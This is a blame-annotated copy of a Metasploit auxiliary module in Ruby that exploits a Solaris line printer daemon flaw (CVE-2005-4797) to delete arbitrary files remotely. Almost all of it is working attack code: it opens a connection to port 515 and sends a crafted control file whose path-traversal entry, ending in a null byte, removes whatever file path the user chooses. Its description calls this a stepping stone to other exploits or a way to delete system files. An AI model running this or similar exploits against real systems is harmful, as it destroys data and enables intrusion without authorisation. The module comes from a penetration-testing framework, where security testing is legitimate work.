2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-01-23 02:22:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-01-02 01:12:36 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-01-02 01:12:36 +00:00
|
|
|
'Name' => 'Solaris LPD Arbitrary File Delete',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses a vulnerability in the Solaris line printer
|
|
|
|
daemon to delete arbitrary files on an affected system. This
|
|
|
|
can be used to exploit the rpc.walld format string flaw, the
|
|
|
|
missing krb5.conf authentication bypass, or simply delete
|
|
|
|
system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
},
|
2012-06-05 02:58:01 +00:00
|
|
|
'Author' => [ 'hdm', 'Optyx <optyx[at]uberhax0r.net>' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-02 01:12:36 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2008-01-23 02:22:36 +00:00
|
|
|
[ 'CVE', '2005-4797' ],
|
|
|
|
[ 'BID', '14510' ],
|
|
|
|
[ 'OSVDB', '18650' ],
|
2006-01-02 01:12:36 +00:00
|
|
|
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
|
2006-09-18 00:33:16 +00:00
|
|
|
]
|
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(515),
|
|
|
|
OptString.new('RPATH', [ true, "The remote file path to delete"]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2006-09-18 00:33:16 +00:00
|
|
|
def run
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2008-11-28 21:04:28 +00:00
|
|
|
r_hostname = Rex::Text.rand_text_alpha(rand(8)+1)
|
|
|
|
r_user = Rex::Text.rand_text_alpha(rand(8)+1)
|
|
|
|
r_spool = Rex::Text.rand_text_alpha(rand(8)+1)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
# Create a simple control file...
|
2008-01-23 02:22:36 +00:00
|
|
|
control = "H#{r_hostname}\nP#{r_user}\n";
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
# The job ID is squashed down to three decimal digits
|
|
|
|
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
|
|
|
|
|
|
|
|
# Establish the first connection to the server
|
|
|
|
sock1 = connect(false)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
# Request a cascaded job
|
2008-01-23 02:22:36 +00:00
|
|
|
sock1.put("\x02#{r_hostname}:#{r_spool}\n")
|
2006-01-02 01:12:36 +00:00
|
|
|
res = sock1.get_once
|
|
|
|
if (not res)
|
|
|
|
print_status("The target did not accept our job request command")
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
# Theoretically, we could delete multiple files at once, however
|
|
|
|
# the lp daemon will append garbage from memory to the path name
|
|
|
|
# if we don't stick a null byte after the path. Unfortunately, this
|
|
|
|
# null byte will prevent the parser from processing the other paths.
|
|
|
|
control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n"
|
|
|
|
|
2008-11-28 21:04:28 +00:00
|
|
|
dataf = Rex::Text.rand_text_alpha(100)+1
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-10-11 05:16:17 +00:00
|
|
|
print_status("Deleting #{datastore['RPATH']}...")
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(
|
2010-09-20 08:06:27 +00:00
|
|
|
send_file(sock1, 2, "cfA" + jid + r_hostname, control) and
|
|
|
|
send_file(sock1, 3, "dfa" + jid + r_hostname, dataf)
|
|
|
|
)
|
|
|
|
sock1.close
|
2006-01-02 01:12:36 +00:00
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
print_status("Successfully deleted #{datastore['RPATH']} >:-]")
|
|
|
|
sock1.close
|
|
|
|
end
|
|
|
|
|
2006-04-30 19:49:27 +00:00
|
|
|
def send_file(s, type, name, data='')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
s.put(type.chr + data.length.to_s + " " + name + "\n")
|
|
|
|
res = s.get_once(1)
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(res and res[0] == ?\0)
|
2006-01-02 01:12:36 +00:00
|
|
|
print_status("The target did not accept our control file command (#{name})")
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
s.put(data)
|
|
|
|
s.put("\x00")
|
|
|
|
res = s.get_once(1)
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(res and res[0] == ?\0)
|
2006-01-02 01:12:36 +00:00
|
|
|
print_status("The target did not accept our control file data (#{name})")
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
|
|
|
|
2006-01-02 01:12:36 +00:00
|
|
|
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|